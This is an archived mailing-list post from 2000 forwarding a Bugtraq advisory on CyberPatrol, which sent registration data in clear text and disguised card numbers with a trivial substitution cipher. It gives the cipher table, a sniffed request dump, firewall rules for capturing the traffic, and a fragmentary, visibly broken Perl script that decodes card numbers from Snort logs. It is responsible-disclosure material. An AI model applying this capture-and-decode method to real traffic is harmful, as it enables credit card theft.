FC: CyberPatrol fails to protect credit card numbers, from BUGTRAQ

Date view Thread view Subject view Author view

From: Karee Swift (karee@tstonramp.com)
Date: Wed Nov 29 2000 - 11:13:06 PST

[Cyberpatrol continues to amaze and insult intelligences all over the
world. Eventually, I can only hope that people will wise up and figure
out that the program sucks, is biased and generally doesn't work. If
you read on to the methodology section, you'll realize that this wasn't
unknown to the company either. I think thats what's more amazing, that
they have been consistently indifferent and/or hostile when people bring
 up flaws in their code. Rather than address it and fix it, you get
lawsuits, or just complete ignorance. -BB]

It looks like CyberPatrol's credit card scrambling is no better than
the weak scrambling it uses for its blacklist of verboten sites.

Background on my battle with Mattel/CyberPatrol over politech and
to the "cphack" utility:


----- Forwarded message from Joey Maier <maierj@HOME.COM> -----

From: Joey Maier <maierj@HOME.COM>
Subject: CyberPatrol - poor credit card protection
Date: Wed, 22 Nov 2000 13:41:25 +0000

CyberPatrol - poor credit card protection


Product: Cyber Patrol
vunerable versions: 4.04.003 & 4.04.005 (possibly all other versions)
non-vunerable versions: unknown
Vendor: Microsys (formerly owned by Mattel, now JSB)
Vendor Contacted: Fri, 18 Aug 2000 11:52:20 -0500 (CDT)
Fixes: None available
Issue: All registration info except the credit
card # is sent in clear text, and the card
number is obfuscated with a trivial
substitution cipher.
Demonstration: A simple program written in Perl
is included with this advisory; given logs from the Snort
network sniffer, it will display full registration and
credit card information.
Authors: Joey Maier <maierj@home.com> and Dan Kaminsky
Initial Research: Joey Maier <maierj@home.com>


CyberPatrol is a controversial but popular product for censoring family,

library, and corporate computer systems against (ostensibly) sexual,
hateful, or other forbidden categories of websites. (The liberties that

CyberPatrol has taken with these categories, combined with their
legal actions against those who exposed such liberties, caused the
of Congress to enact a special exemption defending those who
authors were attacking. http://slashdot.org/yro/00/10/30/056213.shtml)


Registration for CyberPatrol is handled directly by the software,
rather than through an SSL-encrypted web interface. The client,
downloadable from http://www.cyberpatrol.com , presents the user
with a registration form requesting standard information as well.
Before any information is sent to Microsys, the client verifies
that the credit card number qualifies as a valid Luhn number[1].
Assuming it is, the client sends the registration information to
cybercentral.microsys.com ( via normal http. (It
uses a POST request.) The email address, expiration date of
the credit card, name, address, and phone number are all sent
in clear text, without any attempt to obfuscate or encrypt.
(Please note that the form, which is illustrated at
http://www.cyberpatrol.com/trial/reg_sof.htm, claims that
"the above information will be scrambled before being sent".)

The credit card information is not much better off: It is sent
using an extraordinarily ineffective substitution cipher, equivalent
to that which may be found in the games pages of many newspapers.
This code is as follows:

0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s

The following is an example of a POST request which is destined
for cybercentral.microsys.com (the card number was generated for
this test only and was never submitted)

07/30-05:49:18.648744 ->
TCP TTL:128 TOS:0xF8 ID:2048 DF
***PA* Seq: 0x2E92F Ack: 0x1BF0E567 Win: 0x2238
50 4F 53 54 20 2F 72 65 67 69 73 74 65 72 2F 20 POST /register/
48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41 HTTP/1.0..User-A
67 65 6E 74 3A 20 43 79 62 65 72 20 50 61 74 72 gent: Cyber Patr
6F 6C 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D ol..Accept: */*.
0A 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 .Content-type: a
70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 pplication/x-www
2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 -form-urlencoded
0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 ..Content-Length
3A 20 33 30 31 0D 0A 0D 0A 45 4D 41 49 4C 3D 6D : 301....EMAIL=m
61 69 65 72 6A 25 34 30 68 6F 6D 65 2E 63 6F 6D aierj%40home.com
26 43 41 52 44 3D 25 37 45 7B 78 72 25 37 45 7A &CARD=%7E{xr%7Ez
7D 72 7B 7D 7F 78 79 79 72 7A 26 45 58 50 3D 30 }r{}.xyyrz&EXP=0
39 30 32 26 4E 41 4D 45 3D 4A 6F 65 79 25 32 30 902&NAME=Joey%20
4D 61 69 65 72 26 41 44 44 52 31 3D 31 36 30 30 Maier&ADDR1=1600
25 32 30 50 65 6E 6E 73 79 6C 76 61 6E 69 61 25 %20Pennsylvania%
32 30 41 76 65 2E 25 32 30 4E 57 26 41 44 44 52 20Ave.%20NW&ADDR
32 3D 26 43 49 54 59 3D 57 61 73 68 69 6E 67 74 2=&CITY=Washingt
6F 6E 25 32 30 7C 25 32 30 44 43 25 32 30 7C 25 on%20|%20DC%20|%
32 30 32 30 35 30 30 25 32 30 7C 25 32 30 26 50 2020500%20|%20&P
48 4F 4E 45 3D 32 30 32 25 32 30 34 35 36 25 32 HONE=202%20456%2
30 31 34 31 34 26 53 49 54 45 25 32 30 53 4E 3D 01414&SITE%20SN=
37 31 34 31 26 4F 50 54 49 4F 4E 3D 31 26 50 52 7141&OPTION=1&PR
4F 44 55 43 54 3D 24 32 39 2E 39 35 25 32 30 50 ODUCT=$29.95%20P
72 6F 67 72 61 6D 25 32 30 77 25 32 46 25 32 30 rogram%20w%2F%20
33 25 32 30 6D 6F 2E 25 32 30 6C 69 73 74 26 43 3%20mo.%20list&C
4E 4F 54 3D 39 31 26 52 45 56 3D 34 2E 30 34 2E NOT=91&REV=4.04.
30 30 34 26 53 4F 55 52 43 45 3D 57 49 4E 2D 4D 004&SOURCE=WIN-M
53 49 2D 57 45 42

Similar information could be found in the logs of a corporate
or educational proxy administrator; the important thing to note is
the amount of personal information plainly visible along the right
side of the sniffed request.

Interestingly enough, it appears the client determines its own price.

All that is required for an attacker to retrieve this information is
for a sniffer to be placed upstream before, the IP address
of Microsys's servers. Microsys has no method in place to detect,
address, or reasonably frustrate such a sniffer.


1. Download and install CyberPatrol client.
2. Take a firewall with advancd configurability[2] and configure
   it to block PUSH-ACK and RST packets.[3] (This will allow the
   CyberPatrol client to do an nslookup and handshake through
   the firewall, but won't let it actually send the POST info to
   cybercentral.microsys.com. Test your rules first with a valid
   card you own; if you got them wrong, you want to find out
   without being accused of credit fraud.)
3. Execute a Luhn number generator (I used CreditMaster v. 4 from WTI)
   to generate some card numbers.
4. Start snort (http://www.snort.org) and use it to sniff the POST
   requests that the client is trying to send.
5. Try to register (If your firewall is properly blocking the
   POST request, this will fail and the cyberpatrol client will
6. use the perl script below to parse the snort log and dump
   the credit card information to stdout in plain text.



Don't install this product until they fix their registration
process. If you must install this product, consider using
AntiSniff (http://www.l0pht.com/antisniff/) before hand to make
sure there are no unauthorized sniffers running on your local


You apparently lack cryptographic expertise onsite--accept this. Don't
go out and attempt to merge in a commercial crypto toolkit or even
OpenSSL--you don't have the time or the programming staff. Please,
take advantage of the widespread deployment of SSL in the browser and
have users register online through an SSL enabled form. Return a
trivially encrypted code for them to paste or type into their client.
I'd suggest adding a filetype or a MIMEType so users simply would have
to click on a link to register your software, but you'd both run the
risk of collisions and would have to be eternally vigilant against
overflows in your registration code--not something you want. Your worst

case liability in this case is users stealing your software with forged
registration codes--bad, but not as bad as losing your merchant account.

It's just too easy for you to tell the OS to open a browser window to
https://cybercentral.microsys.com for you to not use that solution.
backend code won't even need to change--you just need to provide an HTML

page with matching a matching form to your client. If your server
already possess SSL support, you can install an SSL wrapper using the
crossplatform stunnel package.


On Aug. 8 I called their help line and talked to a guy named Fidel.
Very nice person, but he didn't listen to me. I said that registration
information was sent in clear text - along with detailed information
about your system configuration - and he insisted that they "scramble"
this information.

I uninstalled and reinstalled the product a few times, watched the
registration process, and decided that I needed to contact microsys
again, so I wrote an email explaining my concerns (clear text
registration info and what appeared to be a weak CC# scheme). This
email, and a snort log, were sent to the following vendor contact
addresses on Fri, 18 Aug 2000 11:52:20 -0500 (CDT):
>To: Admin@BRODER.COM, NetAdmin@BRODER.COM, help@mattelsupport.com,
> security-alert@BRODER.COM, security-alert@mattelsupport.com,
> secure@BRODER.COM, secure@mattelsupport.com, security@BRODER.COM,
> security@mattelsupport.com, support@BRODER.COM,
> support@mattelsupport.com,info@BRODER.COM, info@mattelsupport.com
> He told me that you don't store email
> addresses or phone numbers with system information, and that any
> information from the client was scrambled. Obviously this is not
> true.
> While not a huge threat with the purchased version, the demo
> version allows you to enter your credit card #, and I suspect that
> it is sent the same way.

I got a canned response on Mon, 21 Aug 2000 08:11:59 -0500
saying to call 319-247-3333 if I had technical questions. I called
that day and talked to someone named Katie. She said her supervisor,
Juan, would contact the development team and get back to me. She said
they wanted to know how I had found this out. I had to explain what
a sniffer was. They assigned this issue to case # 1530436

Friday, 8-25-00
I called them to see what was happening, and was told "We're
researching it. We're trying to get a hold of development". I said
I needed a contact who would tell me what was being done about this,
so I knew something was being done. He said he'd email
development today, and that I should expect to hear something by
early next week.

They still haven't contacted me. [It is now 11-22-00]


It is totally irresponsible for a software vendor to dump
security related issues to the same team of people who
help users with installation issues. When someone reports
a security vunerability, they should not have to talk to people
who don't know what a sniffer is; they should be given a way to
contact someone who understands the issue.

[Added by Dan Kaminsky] Like many other examples before it, this
case exemplifies how full disclosure in security vulnerabilities is
critical. I want to know if my car is unsafe at any speed--I want to
know if my food is poisonous--and I want to know if my software could
ruin my credit. The secrecy that a thankfully small number of vendors
pine for is merely the freedom to cut costs at their customer's expense,

secure in the knowledge that the legal system will punish any who would
dare to protect themselves and their fellow citizens. That's not
freedom. That's not justice. And in the end--it's not in those
vendors best interest: The backlash of heavy handed regulation they
threaten to spawn will outweigh *any* other benefits they might seek.


Thanks to Dan Kaminsky for providing many of the ideas I
followed while researching this bug and writing this advisory.

Also, thanks to the people who coded the tools I used:
Martin Roesch (http://www.snort.org)
Theo and the rest of the OpenBSD team. (http://www.openbsd.org)
The IPF FAQ people (http://coombs.anu.edu.au/~avalon/)
WTI (CreditMaster)

[1] Credit cards are Luhn numbers. more info on the Luhn
Formula can be found at:

[2] Novell's BorderManager lacks advanced configurability.

[3] These are the IPFilter rules used in the methodology
described above. (Obviously, there's some redundancy here,
but I wanted to err on the side of caution. The IPF gods among
you can certainly produce a cleaner ruleset.)
block in on ne1 proto tcp from any to any

block in quick on ne1 proto tcp from any to any flags R
block out quick on ne1 proto tcp from any to any flags R
block in quick on ne0 proto tcp from any to any flags R
block out quick on ne0 proto tcp from any to any flags R
block in quick on ne0 proto tcp from any to cybercentral.microsys.com
flags PA
block out quick on ne0 proto tcp from any to cybercentral.microsys.com
flags PA
block in quick on ne1 proto tcp from any to cybercentral.microsys.com
flags PA
block out quick on ne1 proto tcp from any to cybercentral.microsys.com
flags PA

pass in quick on ne1 proto tcp from cybercentral.microsys.com to
pass out on ne1 proto tcp from any to cybercentral.microsys.com flags
pass in on ne1 proto tcp from cybercentral.microsys.com to flags S/SA


Here's an example of the output from the perl script included below:

$ ./cpetrol.pl
NAME=Joey Maier
ADDR1=1600 Pennsylvania Ave. NW
CITY=Washington | DC | 20500 |
PHONE=202 456 1414

# Name: cpetrol.pl
# Author: Joey Maier <maierj@home.com>
# purpose: parse snort logs of cyberpatrol
# registration and dump the registration
# information (including the credit
# card numbers) in plain text to
# stdout.
# useage: ./cpetrol.pl
# requirements: You have to have a snort log
# of the registration, it has
# to be named "log", and it
# needs to be in this directory
# Greets: Thanks to Dan Kaminsky for his
# help in researching this bug.


open(SNORT, "log");
        @field=split /\s/, $line;
        if($#field>0 && $#field<15){next LINE;}
                $registerinfo=~s/\%20/ /g;
                ($junk, $registerinfo)=split /\.\.\.\./, $registerinfo;
                @array=split /\&/, $registerinfo;
                if($array[0]=~/EMAIL/){print "$array[0]\n";}

                if($array[1]=~/CARD/){print "CARD=";}
                @chararray=split //, $array[1];
                for($i=0; $i<$arraylength+1; ++$i){

                        if($checkchar=~/z/){print "0";}
                        elsif($checkchar=~/{/){print "1";}
                        elsif($checkchar=~/x/){print "2";}
                        elsif($checkchar=~/y/){print "3";}
                        elsif($checkchar=~/\%7E/){print "4";}
                        elsif($checkchar=~/\./){print "5";}
                        elsif($checkchar=~/\|/){print "6";}
                        elsif($checkchar=~/\}/){print "7";}
                        elsif($checkchar=~/r/){print "8";}
                        elsif($checkchar=~/s/){print "9";}


                if($array[2]=~/EXP/){print "\n$array[2]\n";}
                if($array[3]=~/NAME/){print "$array[3]\n";}
                if($array[4]=~/ADDR1/){print "$array[4]\n";}
                if($array[5]=~/ADDR2/){print "$array[5]\n";}
                if($array[6]=~/CITY/){print "$array[6]\n";}
                if($array[7]=~/PHONE/){print "$array[7]\n\n\n";}

        if($showline eq 1){
                ($junk, $line)=split / /, $line;

----- End forwarded message -----


Date view Thread view Subject view Author view

This archive was generated by hypermail 2b29 : Wed Nov 29 2000 - 11:17:30 PST